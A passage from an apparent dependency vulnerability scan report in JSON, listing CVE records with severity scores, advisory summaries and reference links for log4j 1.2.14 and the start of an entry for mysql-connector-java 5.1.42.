            "https://lists.apache.org/thread.html/r7f462c69d5ded4c0223e014d95a3496690423c5f6f05c09e2f2a407a@%3Cjira.kafka.apache.org%3E",
            "https://lists.apache.org/thread.html/r8244fd0831db894d5e89911ded9c72196d395a90ae655414d23ed0dd%40%3Cusers.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/r8244fd0831db894d5e89911ded9c72196d395a90ae655414d23ed0dd@%3Cusers.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/r8418a0dff1729f19cf1024937e23a2db4c0f94f2794a423f5c10e8e7%40%3Cissues.bookkeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/r8418a0dff1729f19cf1024937e23a2db4c0f94f2794a423f5c10e8e7@%3Cissues.bookkeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/r8890b8f18f1de821595792b58b968a89692a255bc20d86d395270740%40%3Ccommits.druid.apache.org%3E",
            "https://lists.apache.org/thread.html/r8890b8f18f1de821595792b58b968a89692a255bc20d86d395270740@%3Ccommits.druid.apache.org%3E",
            "https://lists.apache.org/thread.html/r8a1cfd4705258c106e488091fcec85f194c82f2bbde6bd151e201870%40%3Cjira.kafka.apache.org%3E",
            "https://lists.apache.org/thread.html/r8a1cfd4705258c106e488091fcec85f194c82f2bbde6bd151e201870@%3Cjira.kafka.apache.org%3E",
            "https://lists.apache.org/thread.html/r8c392ca48bb7e50754e4bc05865e9731b23d568d18a520fe3d8c1f75%40%3Ccommon-issues.hadoop.apache.org%3E",
            "https://lists.apache.org/thread.html/r8c392ca48bb7e50754e4bc05865e9731b23d568d18a520fe3d8c1f75@%3Ccommon-issues.hadoop.apache.org%3E",
            "https://lists.apache.org/thread.html/r8c6300245c0bcef095e9f07b48157e2c6471df0816db3408fcf1d748%40%3Ccommon-issues.hadoop.apache.org%3E",
            "https://lists.apache.org/thread.html/r8c6300245c0bcef095e9f07b48157e2c6471df0816db3408fcf1d748@%3Ccommon-issues.hadoop.apache.org%3E",
            "https://lists.apache.org/thread.html/r8d78a0fbb56d505461e29868d1026e98c402e6a568c13a6da67896a2%40%3Cdev.jena.apache.org%3E",
            "https://lists.apache.org/thread.html/r8d78a0fbb56d505461e29868d1026e98c402e6a568c13a6da67896a2@%3Cdev.jena.apache.org%3E",
            "https://lists.apache.org/thread.html/r8e3f7da12bf5750b0a02e69a78a61073a2ac950eed7451ce70a65177%40%3Ccommits.zookeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/r8e3f7da12bf5750b0a02e69a78a61073a2ac950eed7451ce70a65177@%3Ccommits.zookeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/r909b8e3a36913944d3b7bafe9635d4ca84f8f0e2cd146a1784f667c2%40%3Cissues.zookeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/r909b8e3a36913944d3b7bafe9635d4ca84f8f0e2cd146a1784f667c2@%3Cissues.zookeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/r90c23eb8c82835fa82df85ae5e88c81fd9241e20a22971b0fb8f2c34%40%3Cissues.bookkeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/r90c23eb8c82835fa82df85ae5e88c81fd9241e20a22971b0fb8f2c34@%3Cissues.bookkeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/r944183c871594fe9a555b8519a7c945bbcf6714d72461aa6c929028f%40%3Cissues.zookeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/r944183c871594fe9a555b8519a7c945bbcf6714d72461aa6c929028f@%3Cissues.zookeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/r9a9e3b42cd5d1c4536a14ef04f75048dec8e2740ac6a138ea912177f%40%3Cpluto-dev.portals.apache.org%3E",
            "https://lists.apache.org/thread.html/r9a9e3b42cd5d1c4536a14ef04f75048dec8e2740ac6a138ea912177f@%3Cpluto-dev.portals.apache.org%3E",
            "https://lists.apache.org/thread.html/r9d0d03f2e7d9e13c68b530f81d02b0fec33133edcf27330d8089fcfb%40%3Cissues.zookeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/r9d0d03f2e7d9e13c68b530f81d02b0fec33133edcf27330d8089fcfb@%3Cissues.zookeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/r9d2e28e71f91ba0b6f4114c8ecd96e2b1f7e0d06bdf8eb768c183aa9%40%3Ccommon-issues.hadoop.apache.org%3E",
            "https://lists.apache.org/thread.html/r9d2e28e71f91ba0b6f4114c8ecd96e2b1f7e0d06bdf8eb768c183aa9@%3Ccommon-issues.hadoop.apache.org%3E",
            "https://lists.apache.org/thread.html/r9dc2505651788ac668299774d9e7af4dc616be2f56fdc684d1170882%40%3Cusers.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/r9dc2505651788ac668299774d9e7af4dc616be2f56fdc684d1170882@%3Cusers.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/r9fb3238cfc3222f2392ca6517353aadae18f76866157318ac562e706%40%3Ccommon-issues.hadoop.apache.org%3E",
            "https://lists.apache.org/thread.html/r9fb3238cfc3222f2392ca6517353aadae18f76866157318ac562e706@%3Ccommon-issues.hadoop.apache.org%3E",
            "https://lists.apache.org/thread.html/ra18a903f785aed9403aea38bc6f36844a056283c00dcfc6936b6318c%40%3Cissues.bookkeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/ra18a903f785aed9403aea38bc6f36844a056283c00dcfc6936b6318c@%3Cissues.bookkeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/ra38785cfc0e7f17f8e24bebf775dd032c033fadcaea29e5bc9fffc60%40%3Cdev.tika.apache.org%3E",
            "https://lists.apache.org/thread.html/ra38785cfc0e7f17f8e24bebf775dd032c033fadcaea29e5bc9fffc60@%3Cdev.tika.apache.org%3E",
            "https://lists.apache.org/thread.html/ra54fa49be3e773d99ccc9c2a422311cf77e3ecd3b8594ee93043a6b1%40%3Cdev.zookeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/ra54fa49be3e773d99ccc9c2a422311cf77e3ecd3b8594ee93043a6b1@%3Cdev.zookeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/ra9611a8431cb62369bce8909d7645597e1dd45c24b448836b1e54940%40%3Cissues.bookkeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/ra9611a8431cb62369bce8909d7645597e1dd45c24b448836b1e54940@%3Cissues.bookkeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/raedd12dc24412b3780432bf202a2618a21a727788543e5337a458ead%40%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/raedd12dc24412b3780432bf202a2618a21a727788543e5337a458ead@%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/rb1b29aee737e1c37fe1d48528cb0febac4f5deed51f5412e6fdfe2bf%40%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/rb1b29aee737e1c37fe1d48528cb0febac4f5deed51f5412e6fdfe2bf@%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/rb3c94619728c8f8c176d8e175e0a1086ca737ecdfcd5a2214bb768bc%40%3Ccommits.bookkeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/rb3c94619728c8f8c176d8e175e0a1086ca737ecdfcd5a2214bb768bc@%3Ccommits.bookkeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/rbc45eb0f53fd6242af3e666c2189464f848a851d408289840cecc6e3%40%3Ccommits.zookeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/rbc45eb0f53fd6242af3e666c2189464f848a851d408289840cecc6e3@%3Ccommits.zookeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/rbd19de368abf0764e4383ec44d527bc9870176f488a494f09a40500d%40%3Ccommon-dev.hadoop.apache.org%3E",
            "https://lists.apache.org/thread.html/rbd19de368abf0764e4383ec44d527bc9870176f488a494f09a40500d@%3Ccommon-dev.hadoop.apache.org%3E",
            "https://lists.apache.org/thread.html/rbdf18e39428b5c80fc35113470198b1fe53b287a76a46b0f8780b5fd%40%3Cdev.zookeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/rbdf18e39428b5c80fc35113470198b1fe53b287a76a46b0f8780b5fd@%3Cdev.zookeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/rbf4ce74b0d1fa9810dec50ba3ace0caeea677af7c27a97111c06ccb7%40%3Cdev.kafka.apache.org%3E",
            "https://lists.apache.org/thread.html/rbf4ce74b0d1fa9810dec50ba3ace0caeea677af7c27a97111c06ccb7%40%3Cusers.kafka.apache.org%3E",
            "https://lists.apache.org/thread.html/rbf4ce74b0d1fa9810dec50ba3ace0caeea677af7c27a97111c06ccb7@%3Cdev.kafka.apache.org%3E",
            "https://lists.apache.org/thread.html/rbf4ce74b0d1fa9810dec50ba3ace0caeea677af7c27a97111c06ccb7@%3Cusers.kafka.apache.org%3E",
            "https://lists.apache.org/thread.html/rc17d8491beee51607693019857e41e769795366b85be00aa2f4b3159%40%3Cnotifications.zookeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/rc17d8491beee51607693019857e41e769795366b85be00aa2f4b3159@%3Cnotifications.zookeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/rc1eaed7f7d774d5d02f66e49baced31e04827a1293d61a70bd003ca7%40%3Cdev.tika.apache.org%3E",
            "https://lists.apache.org/thread.html/rc1eaed7f7d774d5d02f66e49baced31e04827a1293d61a70bd003ca7@%3Cdev.tika.apache.org%3E",
            "https://lists.apache.org/thread.html/rc628307962ae1b8cc2d21b8e4b7dd6d7755b2dd52fa56a151a27e4fd%40%3Cissues.zookeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/rc628307962ae1b8cc2d21b8e4b7dd6d7755b2dd52fa56a151a27e4fd@%3Cissues.zookeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/rca24a281000fb681d7e26e5c031a21eb4b0593a7735f781b53dae4e2%40%3Cdev.tika.apache.org%3E",
            "https://lists.apache.org/thread.html/rca24a281000fb681d7e26e5c031a21eb4b0593a7735f781b53dae4e2@%3Cdev.tika.apache.org%3E",
            "https://lists.apache.org/thread.html/rcd71280585425dad7e232f239c5709e425efdd0d3de4a92f808a4767%40%3Cissues.bookkeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/rcd71280585425dad7e232f239c5709e425efdd0d3de4a92f808a4767@%3Cissues.bookkeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/rd0e44e8ef71eeaaa3cf3d1b8b41eb25894372e2995ec908ce7624d26%40%3Ccommits.pulsar.apache.org%3E",
            "https://lists.apache.org/thread.html/rd0e44e8ef71eeaaa3cf3d1b8b41eb25894372e2995ec908ce7624d26@%3Ccommits.pulsar.apache.org%3E",
            "https://lists.apache.org/thread.html/rd3a9511eebab60e23f224841390a3f8cd5358cff605c5f7042171e47%40%3Cdev.tinkerpop.apache.org%3E",
            "https://lists.apache.org/thread.html/rd3a9511eebab60e23f224841390a3f8cd5358cff605c5f7042171e47@%3Cdev.tinkerpop.apache.org%3E",
            "https://lists.apache.org/thread.html/rd5dbeee4808c0f2b9b51479b50de3cc6adb1072c332a200d9107f13e%40%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/rd5dbeee4808c0f2b9b51479b50de3cc6adb1072c332a200d9107f13e@%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/rd6254837403e8cbfc7018baa9be29705f3f06bd007c83708f9a97679%40%3Cissues.zookeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/rd6254837403e8cbfc7018baa9be29705f3f06bd007c83708f9a97679@%3Cissues.zookeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/rd7805c1bf9388968508c6c8f84588773216e560055ddcc813d19f347%40%3Ccommon-issues.hadoop.apache.org%3E",
            "https://lists.apache.org/thread.html/rd7805c1bf9388968508c6c8f84588773216e560055ddcc813d19f347@%3Ccommon-issues.hadoop.apache.org%3E",
            "https://lists.apache.org/thread.html/rd882ab6b642fe59cbbe94dc02bd197342058208f482e57b537940a4b%40%3Cpluto-dev.portals.apache.org%3E",
            "https://lists.apache.org/thread.html/rd882ab6b642fe59cbbe94dc02bd197342058208f482e57b537940a4b@%3Cpluto-dev.portals.apache.org%3E",
            "https://lists.apache.org/thread.html/rda4849c6823dd3e83c7a356eb883180811d5c28359fe46865fd151c3%40%3Cusers.kafka.apache.org%3E",
            "https://lists.apache.org/thread.html/rda4849c6823dd3e83c7a356eb883180811d5c28359fe46865fd151c3@%3Cusers.kafka.apache.org%3E",
            "https://lists.apache.org/thread.html/rdb7ddf28807e27c7801f6e56a0dfb31092d34c61bdd4fa2de9182119%40%3Cissues.bookkeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/rdb7ddf28807e27c7801f6e56a0dfb31092d34c61bdd4fa2de9182119@%3Cissues.bookkeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/rdec0d8ac1f03e6905b0de2df1d5fcdb98b94556e4f6cccf7519fdb26%40%3Cdev.tika.apache.org%3E",
            "https://lists.apache.org/thread.html/rdec0d8ac1f03e6905b0de2df1d5fcdb98b94556e4f6cccf7519fdb26@%3Cdev.tika.apache.org%3E",
            "https://lists.apache.org/thread.html/rdf2a0d94c3b5b523aeff7741ae71347415276062811b687f30ea6573%40%3Ccommits.zookeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/rdf2a0d94c3b5b523aeff7741ae71347415276062811b687f30ea6573@%3Ccommits.zookeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/re36da78e4f3955ba6c1c373a2ab85a4deb215ca74b85fcd66142fea1%40%3Cissues.bookkeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/re36da78e4f3955ba6c1c373a2ab85a4deb215ca74b85fcd66142fea1@%3Cissues.bookkeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/re8c21ed9dd218c217d242ffa90778428e446b082b5e1c29f567e8374%40%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/re8c21ed9dd218c217d242ffa90778428e446b082b5e1c29f567e8374@%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/reaf6b996f74f12b4557bc221abe88f58270ac583942fa41293c61f94%40%3Cpluto-scm.portals.apache.org%3E",
            "https://lists.apache.org/thread.html/reaf6b996f74f12b4557bc221abe88f58270ac583942fa41293c61f94@%3Cpluto-scm.portals.apache.org%3E",
            "https://lists.apache.org/thread.html/rec34b1cccf907898e7cb36051ffac3ccf1ea89d0b261a2a3b3fb267f%40%3Ccommits.zookeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/rec34b1cccf907898e7cb36051ffac3ccf1ea89d0b261a2a3b3fb267f@%3Ccommits.zookeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/rf1b434e11834a4449cd7addb69ed0aef0923112b5938182b363a968c%40%3Cnotifications.zookeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/rf1b434e11834a4449cd7addb69ed0aef0923112b5938182b363a968c@%3Cnotifications.zookeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/rf2567488cfc9212b42e34c6393cfa1c14e30e4838b98dda84d71041f%40%3Cdev.tika.apache.org%3E",
            "https://lists.apache.org/thread.html/rf2567488cfc9212b42e34c6393cfa1c14e30e4838b98dda84d71041f@%3Cdev.tika.apache.org%3E",
            "https://lists.apache.org/thread.html/rf53eeefb7e7e524deaacb9f8671cbf01b8a253e865fb94e7656722c0%40%3Cissues.bookkeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/rf53eeefb7e7e524deaacb9f8671cbf01b8a253e865fb94e7656722c0@%3Cissues.bookkeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/rf77f79699c8d7e430c14cf480f12ed1297e6e8cf2ed379a425941e80%40%3Cpluto-dev.portals.apache.org%3E",
            "https://lists.apache.org/thread.html/rf77f79699c8d7e430c14cf480f12ed1297e6e8cf2ed379a425941e80@%3Cpluto-dev.portals.apache.org%3E",
            "https://lists.apache.org/thread.html/rf9c19bcc2f7a98a880fa3e3456c003d331812b55836b34ef648063c9%40%3Cjira.kafka.apache.org%3E",
            "https://lists.apache.org/thread.html/rf9c19bcc2f7a98a880fa3e3456c003d331812b55836b34ef648063c9@%3Cjira.kafka.apache.org%3E",
            "https://lists.apache.org/thread.html/rf9fa47ab66495c78bb4120b0754dd9531ca2ff0430f6685ac9b07772%40%3Cdev.mina.apache.org%3E",
            "https://lists.apache.org/thread.html/rf9fa47ab66495c78bb4120b0754dd9531ca2ff0430f6685ac9b07772@%3Cdev.mina.apache.org%3E",
            "https://lists.apache.org/thread.html/rfdf65fa675c64a64459817344e0e6c44d51ee264beea6e5851fb60dc%40%3Cissues.bookkeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/rfdf65fa675c64a64459817344e0e6c44d51ee264beea6e5851fb60dc@%3Cissues.bookkeeper.apache.org%3E",
            "https://lists.debian.org/debian-lts-announce/2020/01/msg00008.html",
            "https://nvd.nist.gov/vuln/detail/CVE-2019-17571",
            "https://security.netapp.com/advisory/ntap-20200110-0001/",
            "https://ubuntu.com/security/notices/USN-4495-1",
            "https://ubuntu.com/security/notices/USN-5998-1",
            "https://usn.ubuntu.com/4495-1/",
            "https://www.cve.org/CVERecord?id=CVE-2019-17571",
            "https://www.debian.org/security/2020/dsa-4686",
            "https://www.oracle.com/security-alerts/cpuApr2021.html",
            "https://www.oracle.com/security-alerts/cpuapr2020.html",
            "https://www.oracle.com/security-alerts/cpuapr2022.html",
            "https://www.oracle.com/security-alerts/cpujul2020.html",
            "https://www.oracle.com/security-alerts/cpujul2022.html"
          ],
          "PublishedDate": "2019-12-20T17:15:00Z",
          "LastModifiedDate": "2023-11-07T03:06:00Z"
        },
        {
          "VulnerabilityID": "CVE-2022-23305",
          "PkgID": "log4j:log4j:1.2.14",
          "PkgName": "log4j:log4j",
          "InstalledVersion": "1.2.14",
          "Status": "affected",
          "Layer": {},
          "SeveritySource": "ghsa",
          "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2022-23305",
          "DataSource": {
            "ID": "ghsa",
            "Name": "GitHub Security Advisory Maven",
            "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven"
          },
          "Title": "log4j: SQL injection in Log4j 1.x when application is configured to use JDBCAppender",
          "Description": "By design, the JDBCAppender in Log4j 1.2.x accepts an SQL statement as a configuration parameter where the values to be inserted are converters from PatternLayout. The message converter, %m, is likely to always be included. This allows attackers to manipulate the SQL by entering crafted strings into input fields or headers of an application that are logged allowing unintended SQL queries to be executed. Note this issue only affects Log4j 1.x when specifically configured to use the JDBCAppender, which is not the default. Beginning in version 2.0-beta8, the JDBCAppender was re-introduced with proper support for parameterized SQL queries and further customization over the columns written to in logs. Apache Log4j 1.2 reached end of life in August 2015. Users should upgrade to Log4j 2 as it addresses numerous other issues from the previous versions.",
          "Severity": "CRITICAL",
          "CweIDs": [
            "CWE-89"
          ],
          "CVSS": {
            "ghsa": {
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "V3Score": 9.8
            },
            "nvd": {
              "V2Vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P",
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "V2Score": 6.8,
              "V3Score": 9.8
            },
            "redhat": {
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "V3Score": 8.8
            }
          },
          "References": [
            "http://www.openwall.com/lists/oss-security/2022/01/18/4",
            "https://access.redhat.com/security/cve/CVE-2022-23305",
            "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-23305",
            "https://errata.almalinux.org/8/ALSA-2022-0290.html",
            "https://github.com/apache/logging-log4j1",
            "https://linux.oracle.com/cve/CVE-2022-23305.html",
            "https://linux.oracle.com/errata/ELSA-2022-9419.html",
            "https://lists.apache.org/thread/pt6lh3pbsvxqlwlp4c5l798dv2hkc85y",
            "https://logging.apache.org/log4j/1.2/index.html",
            "https://nvd.nist.gov/vuln/detail/CVE-2022-23305",
            "https://security.netapp.com/advisory/ntap-20220217-0007/",
            "https://ubuntu.com/security/notices/USN-5998-1",
            "https://www.cve.org/CVERecord?id=CVE-2022-23305",
            "https://www.openwall.com/lists/oss-security/2022/01/18/4",
            "https://www.oracle.com/security-alerts/cpuapr2022.html",
            "https://www.oracle.com/security-alerts/cpujul2022.html"
          ],
          "PublishedDate": "2022-01-18T16:15:00Z",
          "LastModifiedDate": "2023-02-24T15:30:00Z"
        },
        {
          "VulnerabilityID": "CVE-2022-23307",
          "PkgID": "log4j:log4j:1.2.14",
          "PkgName": "log4j:log4j",
          "InstalledVersion": "1.2.14",
          "Status": "affected",
          "Layer": {},
          "SeveritySource": "ghsa",
          "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2022-23307",
          "DataSource": {
            "ID": "ghsa",
            "Name": "GitHub Security Advisory Maven",
            "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven"
          },
          "Title": "log4j: Unsafe deserialization flaw in Chainsaw log viewer",
          "Description": "CVE-2020-9493 identified a deserialization issue that was present in Apache Chainsaw. Prior to Chainsaw V2.0 Chainsaw was a component of Apache Log4j 1.2.x where the same issue exists.",
          "Severity": "CRITICAL",
          "CweIDs": [
            "CWE-502"
          ],
          "CVSS": {
            "ghsa": {
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "V3Score": 9.8
            },
            "nvd": {
              "V2Vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C",
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "V2Score": 9,
              "V3Score": 8.8
            },
            "redhat": {
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "V3Score": 8.8
            }
          },
          "References": [
            "https://access.redhat.com/security/cve/CVE-2022-23307",
            "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-23307",
            "https://errata.almalinux.org/8/ALSA-2022-0290.html",
            "https://linux.oracle.com/cve/CVE-2022-23307.html",
            "https://linux.oracle.com/errata/ELSA-2022-9419.html",
            "https://lists.apache.org/thread/rg4yyc89vs3dw6kpy3r92xop9loywyhh",
            "https://logging.apache.org/log4j/1.2/index.html",
            "https://nvd.nist.gov/vuln/detail/CVE-2022-23307",
            "https://ubuntu.com/security/notices/USN-5998-1",
            "https://www.cve.org/CVERecord?id=CVE-2022-23307",
            "https://www.openwall.com/lists/oss-security/2022/01/18/5",
            "https://www.oracle.com/security-alerts/cpuapr2022.html",
            "https://www.oracle.com/security-alerts/cpujul2022.html"
          ],
          "PublishedDate": "2022-01-18T16:15:00Z",
          "LastModifiedDate": "2023-02-24T15:29:00Z"
        },
        {
          "VulnerabilityID": "CVE-2021-4104",
          "PkgID": "log4j:log4j:1.2.14",
          "PkgName": "log4j:log4j",
          "InstalledVersion": "1.2.14",
          "Status": "affected",
          "Layer": {},
          "SeveritySource": "ghsa",
          "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2021-4104",
          "DataSource": {
            "ID": "ghsa",
            "Name": "GitHub Security Advisory Maven",
            "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven"
          },
          "Title": "log4j: Remote code execution in Log4j 1.x when application is configured to use JMSAppender",
          "Description": "JMSAppender in Log4j 1.2 is vulnerable to deserialization of untrusted data when the attacker has write access to the Log4j configuration. The attacker can provide TopicBindingName and TopicConnectionFactoryBindingName configurations causing JMSAppender to perform JNDI requests that result in remote code execution in a similar fashion to CVE-2021-44228. Note this issue only affects Log4j 1.2 when specifically configured to use JMSAppender, which is not the default. Apache Log4j 1.2 reached end of life in August 2015. Users should upgrade to Log4j 2 as it addresses numerous other issues from the previous versions.",
          "Severity": "HIGH",
          "CweIDs": [
            "CWE-502"
          ],
          "CVSS": {
            "ghsa": {
              "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "V3Score": 7.5
            },
            "nvd": {
              "V2Vector": "AV:N/AC:M/Au:S/C:P/I:P/A:P",
              "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "V2Score": 6,
              "V3Score": 7.5
            },
            "redhat": {
              "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "V3Score": 7.5
            }
          },
          "References": [
            "http://www.openwall.com/lists/oss-security/2022/01/18/3",
            "https://access.redhat.com/security/cve/CVE-2021-4104",
            "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-4104",
            "https://errata.almalinux.org/8/ALSA-2022-0290.html",
            "https://github.com/apache/logging-log4j2",
            "https://github.com/apache/logging-log4j2/pull/608#issuecomment-990494126",
            "https://github.com/apache/logging-log4j2/pull/608#issuecomment-991723301",
            "https://linux.oracle.com/cve/CVE-2021-4104.html",
            "https://linux.oracle.com/errata/ELSA-2022-9056.html",
            "https://lists.apache.org/thread/0x4zvtq92yggdgvwfgsftqrj4xx5w0nx",
            "https://nvd.nist.gov/vuln/detail/CVE-2021-4104",
            "https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0033",
            "https://security.gentoo.org/glsa/202209-02",
            "https://security.gentoo.org/glsa/202310-16",
            "https://security.netapp.com/advisory/ntap-20211223-0007/",
            "https://ubuntu.com/security/notices/USN-5223-1",
            "https://ubuntu.com/security/notices/USN-5223-2",
            "https://www.cve.org/CVERecord?id=CVE-2021-4104",
            "https://www.cve.org/CVERecord?id=CVE-2021-44228",
            "https://www.kb.cert.org/vuls/id/930724",
            "https://www.openwall.com/lists/oss-security/2021/12/13/1",
            "https://www.openwall.com/lists/oss-security/2021/12/13/2",
            "https://www.oracle.com/security-alerts/cpuapr2022.html",
            "https://www.oracle.com/security-alerts/cpujan2022.html",
            "https://www.oracle.com/security-alerts/cpujul2022.html"
          ],
          "PublishedDate": "2021-12-14T12:15:00Z",
          "LastModifiedDate": "2023-11-07T03:40:00Z"
        },
        {
          "VulnerabilityID": "CVE-2022-23302",
          "PkgID": "log4j:log4j:1.2.14",
          "PkgName": "log4j:log4j",
          "InstalledVersion": "1.2.14",
          "Status": "affected",
          "Layer": {},
          "SeveritySource": "ghsa",
          "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2022-23302",
          "DataSource": {
            "ID": "ghsa",
            "Name": "GitHub Security Advisory Maven",
            "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven"
          },
          "Title": "log4j: Remote code execution in Log4j 1.x when application is configured to use JMSSink",
          "Description": "JMSSink in all versions of Log4j 1.x is vulnerable to deserialization of untrusted data when the attacker has write access to the Log4j configuration or if the configuration references an LDAP service the attacker has access to. The attacker can provide a TopicConnectionFactoryBindingName configuration causing JMSSink to perform JNDI requests that result in remote code execution in a similar fashion to CVE-2021-4104. Note this issue only affects Log4j 1.x when specifically configured to use JMSSink, which is not the default. Apache Log4j 1.2 reached end of life in August 2015. Users should upgrade to Log4j 2 as it addresses numerous other issues from the previous versions.",
          "Severity": "HIGH",
          "CweIDs": [
            "CWE-502"
          ],
          "CVSS": {
            "ghsa": {
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "V3Score": 8.8
            },
            "nvd": {
              "V2Vector": "AV:N/AC:M/Au:S/C:P/I:P/A:P",
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "V2Score": 6,
              "V3Score": 8.8
            },
            "redhat": {
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "V3Score": 8.8
            }
          },
          "References": [
            "http://www.openwall.com/lists/oss-security/2022/01/18/3",
            "https://access.redhat.com/security/cve/CVE-2022-23302",
            "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-23302",
            "https://errata.almalinux.org/8/ALSA-2022-0290.html",
            "https://github.com/apache/logging-log4j1",
            "https://linux.oracle.com/cve/CVE-2022-23302.html",
            "https://linux.oracle.com/errata/ELSA-2022-9419.html",
            "https://lists.apache.org/thread/bsr3l5qz4g0myrjhy9h67bcxodpkwj4w",
            "https://logging.apache.org/log4j/1.2/index.html",
            "https://nvd.nist.gov/vuln/detail/CVE-2022-23302",
            "https://security.netapp.com/advisory/ntap-20220217-0006/",
            "https://ubuntu.com/security/notices/USN-5998-1",
            "https://www.cve.org/CVERecord?id=CVE-2022-23302",
            "https://www.openwall.com/lists/oss-security/2022/01/18/3",
            "https://www.oracle.com/security-alerts/cpuapr2022.html",
            "https://www.oracle.com/security-alerts/cpujul2022.html"
          ],
          "PublishedDate": "2022-01-18T16:15:00Z",
          "LastModifiedDate": "2023-02-24T15:30:00Z"
        },
        {
          "VulnerabilityID": "CVE-2018-3258",
          "PkgID": "mysql:mysql-connector-java:5.1.42",
          "PkgName": "mysql:mysql-connector-java",
          "InstalledVersion": "5.1.42",
          "FixedVersion": "8.0.13",
          "Status": "fixed",
          "Layer": {},
          "SeveritySource": "ghsa",
          "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2018-3258",
          "DataSource": {
            "ID": "ghsa",
            "Name": "GitHub Security Advisory Maven",
            "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven"
          },
          "Title": "mysql-connector-java: Connector/J unspecified vulnerability (CPU October 2018)",
